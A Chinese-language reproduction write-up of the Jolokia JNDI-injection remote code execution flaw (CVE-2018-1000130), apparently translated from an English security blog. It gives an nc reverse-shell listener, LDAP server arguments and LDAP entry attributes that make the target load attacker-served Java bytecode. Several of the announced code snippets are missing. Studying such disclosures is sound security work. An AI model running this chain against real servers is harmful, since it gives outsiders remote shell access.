CVE-2018-1000130 Jolokia 远程代码执行漏洞¶
一、漏洞简介¶
Jolokia服务的代理模式默认情况下在1.5.0版之前容易受到JNDI注入的攻击。当以代理模式部署Jolokia代理时,有权访问Jolokia Web端点的外部攻击者可以通过JNDI注入攻击远程执行任意代码。由于Jolokia库使用用户提供的输入启动LDAP / RMI连接,因此有可能造成这种攻击。
二、漏洞影响¶
Jolokia < 1.50
三、复现过程¶
出于演示目的,我们将在环回接口上运行漏洞利用链中的所有组件。
-
以下POST请求可用于利用此漏洞:
-
我们需要创建LDAP和HTTP服务器以提供恶意负载。这些代码段最初取自marshalsec和zerothoughts GitHub的仓库。
-
之后,我们需要创建一个ExportObject.java带有反向外壳命令。此类的字节码将通过我们的HTTP服务器提供:
-
LDAP服务器应使用以下命令行参数运行:
http://127.0.0.1:7873/#ExportObject 9092
哪里:
- http://127.0.0.1:7873/ 是攻击者的HTTP服务器的URL
- ExportObject 是包含攻击者代码的Java类的名称
-
9092 是LDAP服务器监听端口
-
nc在port上启动一个监听器7777:
$ nc -lv 7777
- 发送步骤1中所示的请求后,易受攻击的服务器向攻击者的LDAP服务器发出请求。
当侦听端口的LDAP服务器9092接收到来自易受攻击的服务器的请求时,它会创建一个Entry具有属性的对象,并在LDAP响应中将其返回。
e.addAttribute(“ javaClassName”,“ ExportObject”);
e.addAttribute(“ javaCodeBase”,“ http://127.0.0.1/”);
e.addAttribute(“ objectClass”,“ javaNamingReference”);
e.addAttribute(“ javaFactory”,“ ExportObject”);
当易受攻击的服务器收到LDAP响应时,它将ExportObject.class从攻击者的HTTP服务器获取,实例化该对象并执行reverse shell命令。
攻击者从其nc侦听器上的易受攻击的服务器接收回连接。
参考链接
https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html